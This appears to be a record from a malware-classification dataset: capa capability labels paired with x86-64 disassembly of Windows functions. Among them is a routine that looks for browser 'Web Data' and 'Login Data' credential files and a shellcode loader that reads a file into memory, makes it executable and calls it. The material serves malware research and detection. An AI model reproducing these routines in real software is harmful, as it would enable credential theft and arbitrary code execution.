joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140072980
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x230
and word [rsp + 0x20], 0
mov rsi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x208
call sub.msvcrt.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
add rcx, 8
cmp rcx, 0x1ff
jae 0x1400729e2
lea r8, [rsp + 0x20]
lea rdx, str.Web_Data
mov rcx, rbx
call fcn.1400639e4
jmp 0x1400729e7
and word [rsp + 0x20], ax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140072a0b
lea rcx, [rsi + 0x530]
lea rdx, [rsp + 0x20]
xor r8d, r8d
call fcn.14006f55c
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
add rcx, 0xa
cmp rcx, 0x1ff
jae 0x140072a3d
lea r8, [rsp + 0x20]
lea rdx, str.Login_Data
mov rcx, rbx
call fcn.1400639e4
jmp 0x140072a42
and word [rsp + 0x20], ax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140072a66
lea rcx, [rsi + 0x530]
lea rdx, [rsp + 0x20]
xor r8d, r8d
call fcn.14006f55c
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140074ed0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, rdx
mov rbp, rcx
xor edx, edx
mov rcx, rax
call fcn.140063024
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x140074f98
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
and qword [rsp + 0x30], 0
and dword [rsp + 0x38], 0
mov edi, eax
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x3c], 0x1388
lea edx, [rdi + 5]
call fcn.140060478
mov rbx, qword [rsp + 0x30]
and dword [rsp + 0x60], 0
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x60]
mov rdx, rbx
mov r8d, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [rdi + 1]
mov byte [rdi + rbx], 0
mov byte [rax + rbx], 0
lea eax, [rdi + 2]
lea rcx, [rbp + 0x30]
mov byte [rax + rbx], 0
and dword [rbp + 0x48], 0
mov r9d, 0xfde9
or r8d, 0xffffffff
mov rdx, rbx
call fcn.140061518
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x30]
call fcn.140060398
mov eax, 1
jmp 0x140074f9a
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140001484
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x260
mov r12d, r8d
mov ebx, r8d
lea r9, [rsp + 0x48]
mov rsi, rcx
and r12d, 0x300
mov rdi, rdx
mov r8d, r12d
or r8d, 9
call fcn.140007835
test eax, eax
jne 0x140001572
test bl, 2
mov rcx, qword [rsp + 0x48]
lea rbp, [rsp + 0x56]
je 0x140001503
xor edx, edx
xor eax, eax
lea r9, [rsp + 0x44]
mov r8, rbp
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdx
xor edx, edx
mov dword [rsp + 0x44], eax
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x140001543
mov r14d, ebx
mov r13, qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
and r14d, 1
jmp 0x140001522
mov r8d, ebx
mov rdx, rbp
call fcn.140001484
test eax, eax
jne 0x140001555
xor edx, edx
mov rcx, qword [rsp + 0x48]
mov r9d, 0x105
mov r8, rbp
call r13
test eax, eax
jne 0x140001555
mov rcx, qword [rsp + 0x48]
test r14d, r14d
je 0x140001513
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x140001572
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
mov r8d, r12d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140003cee
Capabilities:
Read file on windows

Disassembly:
mov r8d, edx
mov rdx, rcx
mov rcx, qword [0x14000a028]
jmp fcn.1400076bc

Function at 0x140003ed2
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, rdx
mov rsi, r8
mov ebp, r9d
test ecx, ecx
js 0x140003f0c
movsxd rcx, ecx
add rcx, qword [0x14002f1b4]
xor r9d, r9d
xor r8d, r8d
mov dword [0x140043298], ecx
mov edx, ecx
mov rcx, qword [0x14000a020]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 4
call fcn.140003d16
mov ebx, eax
test eax, eax
js 0x140004004
mov rcx, qword [0x14000a020]
lea rdx, [rsp + 0x3c]
mov r8d, 4
call fcn.1400076bc
test eax, eax
jne 0x140003f45
mov ebx, 0xfffffffd
jmp 0x140004004
mov ecx, dword [rsp + 0x3c]
add dword [0x140043298], 4
call fcn.140003d16
mov ebx, eax
test eax, eax
js 0x140004004
mov r8d, dword [rsp + 0x3c]
test rsi, rsi
jne 0x140003fc8
lea rsi, [0x14003f1e0]
mov r8d, dword [rsp + 0x3c]
test r8d, r8d
jle 0x140004004
mov eax, 0x4000
mov rcx, qword [0x14000a020]
mov rdx, rsi
cmp r8d, eax
cmovg r8d, eax
mov dword [rsp + 0x38], r8d
call fcn.1400076bc
test eax, eax
je 0x140003f3b
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, rdi
call fcn.1400076e9
test eax, eax
je 0x140003fff
mov eax, dword [rsp + 0x38]
sub dword [rsp + 0x3c], eax
add dword [0x140043298], eax
add ebx, eax
jmp 0x140003f70
xor eax, eax
cmp ebp, r8d
mov rcx, qword [0x14000a020]
mov rdx, rsi
cmovle r8d, ebp
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140003f3b
mov ebx, dword [rsp + 0x38]
add dword [0x140043298], ebx
jmp 0x140004004
mov ebx, 0xfffffffe
mov eax, ebx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140004360
Capabilities:
Get common file path

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rax, qword [0x14000d200]
mov rsi, qword [rax]
lea rbx, [rsi + 0x64000]
mov rcx, rbx
call fcn.140007aaa
mov rcx, rbx
call fcn.140007442
test eax, eax
je 0x1400043b0
mov rcx, rbx
call fcn.140007a3c
mov rcx, rbx
call fcn.1400072a5
lea rcx, [rsi + 0x60000]
mov rdx, rbx
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140007647
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x1400043b9
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x14000d150]
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x1400043db
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov rbx, qword [0x14000d100]
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x1400043f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
call fcn.140004a95
mov rax, qword [0x14000d200]
mov edx, 7
mov rcx, qword [rax]
add rcx, 0x68000
add rsp, 0x20
pop rbx
jmp fcn.140007fa4
Function at 0x140007240
Capabilities:
Create directory

Disassembly:
sub rsp, 0x68
lea rax, [0x14000c990]
xor edx, edx
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
sub rax, 0x10
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x50], rdx
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x38], 0x40001
mov dword [rsp + 0x20], 0x18
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], r8d
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, eax
xor eax, eax
test edx, edx
jne 0x1400072a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x68
ret

Function at 0x1400072a5
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400072c0
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400072c7
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x78
xor r9d, r9d
xor r8d, r8d
mov dword [0x14007cea0], 0x68
lea rax, [rsp + 0x58]
mov rdx, rcx
xor ecx, ecx
mov dword [rsp + 0x28], 0x4000000
mov qword [rsp + 0x48], rax
lea rax, [0x14007cea0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov dword [rsp + 0x20], ecx
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
xor eax, eax
test edx, edx
je 0x14000732e
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x58]
add rsp, 0x78
ret

Function at 0x140007333
Capabilities:
Create process on windows

Disassembly:
xor eax, eax
mov dword [rcx], 0x70
mov qword [rcx + 0x40], rax
jmp qword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x140007574
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov qword [rsp + 0x30], rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14000759b
mov edx, eax
mov rcx, qword [rsp + 0x30]
and edx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x1400075a3
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov edi, edx
call fcn.140007574
mov esi, eax
cmp eax, 0xffffffff
je 0x1400075f1
mov rcx, rbx
test edi, 1
je 0x1400075e9
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400075e2
and edi, 4
jne 0x1400075f1
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x1400075f1
mov eax, 1
jmp 0x1400075f3
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1400075cc
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400075fb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0x40
mov dword [rsp + 0x58], edx
mov edi, r8d
mov qword [rsp + 0x50], rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rcx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x58]
cmp eax, 0xffffffff
jne 0x140007622
xor eax, eax
xor r8d, r8d
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x30], r8
mov r8d, 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
add rsp, 0x40
pop rdi
ret

Function at 0x140007647
Capabilities:
Get common file path

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r13, qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r12, qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, 0x64
movabs rbp, 0x610073006e
mov rbx, rcx
mov rdi, rdx
mov qword [rsp + 0x28], rbp
call r13
mov ecx, 0x1a
xor edx, edx
xor r8d, r8d
div ecx
mov r9, rbx
mov rcx, rdi
add word [rsp + 0x2c], dx
lea rdx, [rsp + 0x28]
call r12
test eax, eax
jne 0x1400076ac
dec esi
jne 0x140007676
mov word [rbx], 0
xor ebx, ebx
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x1400076bc
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov qword [rsp + 0x20], rax
mov ebx, r8d
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400076e3
xor eax, eax
cmp dword [rsp + 0x3c], ebx
sete al
add rsp, 0x40
pop rbx
ret

Function at 0x1400076e9
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov qword [rsp + 0x20], rax
mov ebx, r8d
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007710
xor eax, eax
cmp dword [rsp + 0x3c], ebx
sete al
add rsp, 0x40
pop rbx
ret

Function at 0x1400077b4
Capabilities:
Move file

Disassembly:
sub rsp, 0x28
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rax, qword [0x14000d160]
inc dword [rax + 0x10]
add rsp, 0x28
ret

Function at 0x1400078cd
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rsi, r8
xor r8d, r8d
mov rbx, r9
cmp dword [rsp + 0x80], 0
setne r8b
lea r9, [rsp + 0x38]
mov dword [rsp + 0x30], 0x4000
shl r8d, 9
or r8d, 0x20019
call fcn.140007835
test eax, eax
je 0x140007910
mov word [rbx], 0
jmp 0x14000795a
lea rax, [rsp + 0x30]
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
lea r9, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov word [rbx + 0x3ffe], 0
test esi, esi
jne 0x140007909
mov eax, dword [rsp + 0x34]
dec eax
cmp eax, 1
ja 0x140007909
add rsp, 0x48
pop rbx
pop rsi
ret
Function at 0x140007b7f
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
test ecx, ecx
je 0x140007bab
mov rcx, qword [0x14000a040]
cmp rcx, 0xffffffffffffffff
je 0x140007b9b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14000a040], 0xffffffffffffffff
jmp 0x140007c47
cmp dword [0x14006c420], 0
je 0x140007c47
cmp word [0x140074440], 0
mov rax, qword [0x14000a040]
je 0x140007c3d
inc rax
je 0x140007c05
lea rbx, [0x14006b420]
lea rdx, [0x14000c3f6]
mov rcx, rbx
call sub.KERNEL32.dll_lstrcatW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x14000a040]
mov rdx, rbx
lea r8d, [rax + rax]
add rsp, 0x20
pop rbx
jmp fcn.1400076e9
lea rcx, [0x140074440]
mov r8d, 4
mov edx, 0x40000000
call fcn.1400075fb
mov qword [0x14000a040], rax
mov rcx, rax
cmp rax, 0xffffffffffffffff
je 0x140007c47
mov r9d, 2
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp qword [0x14000a040], 0xffffffffffffffff
jne 0x140007bce
add rsp, 0x20
pop rbx
ret

Function at 0x140007f02
Capabilities:
Get file attributes

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rsi, [0x140074ea0]
mov rdx, rcx
mov rcx, rsi
call fcn.140007a21
mov rcx, rsi
call fcn.14000746c
mov rbx, rax
test rax, rax
jne 0x140007f2f
xor eax, eax
jmp 0x140007f9c
mov rcx, rax
call fcn.140007aaa
mov rax, qword [0x14000d180]
test byte [rax], 0x80
je 0x140007f51
mov ax, word [rbx]
test ax, ax
je 0x140007f2b
cmp ax, 0x5c
je 0x140007f2b
sub rbx, rsi
mov rdi, qword [sym.imp.KERNEL32.dll_lstrlenW]
sar rbx, 1
mov rcx, rsi
call rdi
mov rcx, rsi
cdqe
cmp rax, rbx
jle 0x140007f86
call fcn.140007ed3
test rax, rax
je 0x140007f7c
test byte [rax], 0x10
je 0x140007f2b
mov rcx, rsi
call fcn.140007405
jmp 0x140007f5e
call fcn.140007a3c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
setne al
movzx eax, al
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140007fa4
Capabilities:
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x288
mov r12d, edx
mov rbx, rcx
mov edi, edx
call fcn.140007f02
and r12d, 4
mov r13d, eax
test edi, 8
je 0x140007fef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [0x14000d160]
cmp eax, 1
adc dword [rdx + 8], 0
jmp 0x140008223
mov r14d, edi
and r14d, 1
je 0x140008017
test eax, eax
jne 0x14000800b
mov rdx, rbx
lea rcx, str.RMDir:_RemoveDirectory_invalid_input___s__
jmp 0x140008207
test edi, 2
je 0x14000819d
lea rbp, [0x140078ea0]
mov rdx, rbx
mov rcx, rbp
call fcn.140007a21
test r14d, r14d
je 0x14000803f
lea rdx, str..
mov rcx, rbp
call sub.KERNEL32.dll_lstrcatW
jmp 0x140008047
mov rcx, rbx
call fcn.140007405
cmp word [rbx], 0
jne 0x140008057
cmp word [0x140078ea0], 0x5c
jne 0x140008066
lea rdx, [0x14000c3e0]
mov rcx, rbx
call sub.KERNEL32.dll_lstrcatW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rbp
movsxd rsi, eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
add rsi, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
add rsi, rbx
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140008185
lea rax, [rsp + 0x5c]
mov r15, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov qword [rsp + 0x28], rax
cmp word [rsp + 0x5c], 0x2e
jne 0x1400080d4
mov ax, word [rsp + 0x5e]
test ax, ax
je 0x140008169
cmp ax, 0x2e
jne 0x1400080d4
cmp word [rsp + 0x60], 0
je 0x140008169
mov rdx, qword [rsp + 0x28]
mov rcx, rsi
call fcn.140007a21
test byte [rsp + 0x30], 0x10
je 0x1400080fc
mov eax, edi
not eax
test al, 3
jne 0x140008169
mov edx, edi
mov rcx, rbx
call fcn.140007fa4
jmp 0x140008169
mov rdx, rbx
lea rcx, str.Delete:_DeleteFile___s__
call fcn.140007e6d
mov edx, r12d
mov rcx, rbx
call fcn.1400075a3
mov rdx, rbx
test eax, eax
jne 0x14000815f
test r12d, r12d
je 0x140008147
lea rcx, str.Delete:_DeleteFile_on_Reboot___s__
call fcn.140007e6d
mov rdx, rbx
mov ecx, 0xfffffff1
call fcn.140006c54
xor edx, edx
mov rcx, rbx
call fcn.1400077b4
jmp 0x140008169
lea rcx, str.Delete:_DeleteFile_failed___s__
call fcn.140007e6d
mov rax, qword [0x14000d160]
inc dword [rax + 8]
jmp 0x140008169
mov ecx, 0xfffffff2
call fcn.140006c54
mov rdx, qword [rsp + 0x20]
mov rcx, rbp
call r15
test eax, eax
jne 0x1400080ac
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
test r14d, r14d
je 0x140008223
mov word [rsi - 2], 0
test r13d, r13d
je 0x140007ffc
mov rcx, rbx
call fcn.140007ed3
test rax, rax
je 0x140008223
mov rcx, rbx
call fcn.140007a3c
mov rdx, rbx
lea rcx, str.RMDir:_RemoveDirectory___s__
call fcn.140007e6d
mov edx, r12d
mov rcx, rbx
or edx, 1
call fcn.1400075a3
mov rdx, rbx
test eax, eax
jne 0x140008218
test r12d, r12d
je 0x140008200
lea rcx, str.RMDir:_RemoveDirectory_on_Reboot___s__
call fcn.140007e6d
mov rdx, rbx
mov ecx, 0xfffffff1
call fcn.140006c54
xor edx, edx
mov rcx, rbx
call fcn.1400077b4
jmp 0x140008223
lea rcx, str.RMDir:_RemoveDirectory_failed___s__
call fcn.140007e6d
mov rax, qword [0x14000d160]
inc dword [rax + 8]
jmp 0x140008223
mov ecx, 0xffffffe5
call fcn.140006c54
nop
add rsp, 0x288
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140008237
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x260
mov edx, 0x104
lea rbx, [rsp + 0x24]
mov qword [rsp + 0x270], rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r9, qword [rsp + 0x270]
lea edx, [rax - 1]
cmp edx, 0x103
ja 0x14000827b
cmp word [rsp + rdx*2 + 0x24], 0x5c
sete dl
movzx edx, dl
jmp 0x140008282
xor eax, eax
mov edx, 1
mov eax, eax
add rdx, rdx
add rax, rax
lea rcx, [rbx + rax]
lea rax, [0x14000c3e0]
lea r8, [rax + rdx]
lea rdx, str._s_S.dll
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, 8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
add rsp, 0x260
pop rbx
ret
Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
neg dword [rsi]
push rax
pop rsp
test byte [rdi - 0x6a], bh
cmp eax, dword [rsp + rcx*4]
invalid
mov esp, 0xbf4cc6fd
sub al, 0x48
test dword [rdi - 0x68c88775], ebp
movabs rdi, 0x9737788baf85482c
fadd qword [rdi + 0x1b2233bd]
jg 0x14001acda
push 0x6d
jle 0x14001ad51
sbb eax, 0x7a1f692d
xchg r12, rax
loop 0x14001acf7
jle 0x14001ad83
mov byte [rdi], bl
add byte [rbp + 0x32], dl
mov al, 0x73
scasd eax, dword [rdi]
pop rax
pop rax
clc
pcmpeqw mm1, mm2
invalid
jbe 0x14001ad69
xchg edi, eax
pop rsi
invalid
invalid
pop rdi
or ecx, esp
xchg edx, eax
push rbp
insb byte [rdi], dx
jae 0x14001ade4
push rdx
popfq
movabs al, byte [0x2620e2ff0781b86d]
fiadd dword [rdi]
and eax, 0x3152a1ff
nop
xchg edx, eax
cmp dword [rax], ebx
pop rcx
sbb byte [rbx], bh
invalid
invalid
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400043c0]
mov rcx, qword [0x140004370]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x1400043e0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x1400043b0]
mov dword [0x14000700c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004320]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call sym.__main
movabs rax, 0x6c6d74682e797979
mov qword [rbp - 0x16], rax
mov byte [rbp - 0xe], 0
lea rax, [rbp - 0x16]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x1400013ce
mov eax, 1
jmp 0x140001484
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov byte [rbp - 0xd], al
cmp byte [rbp - 0xd], 0
jne 0x140001416
mov eax, 1
jmp 0x140001484
movzx eax, byte [rbp - 0xd]
mov r10, rax
lea rcx, [rbp - 0x1c]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, edx
mov rdx, r10
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp - 0xc]
movzx edx, byte [rbp - 0xd]
mov rcx, rdx
lea rdx, [rbp - 0x20]
mov r9, rdx
mov r8d, 0x40
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, byte [rbp - 0xd]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret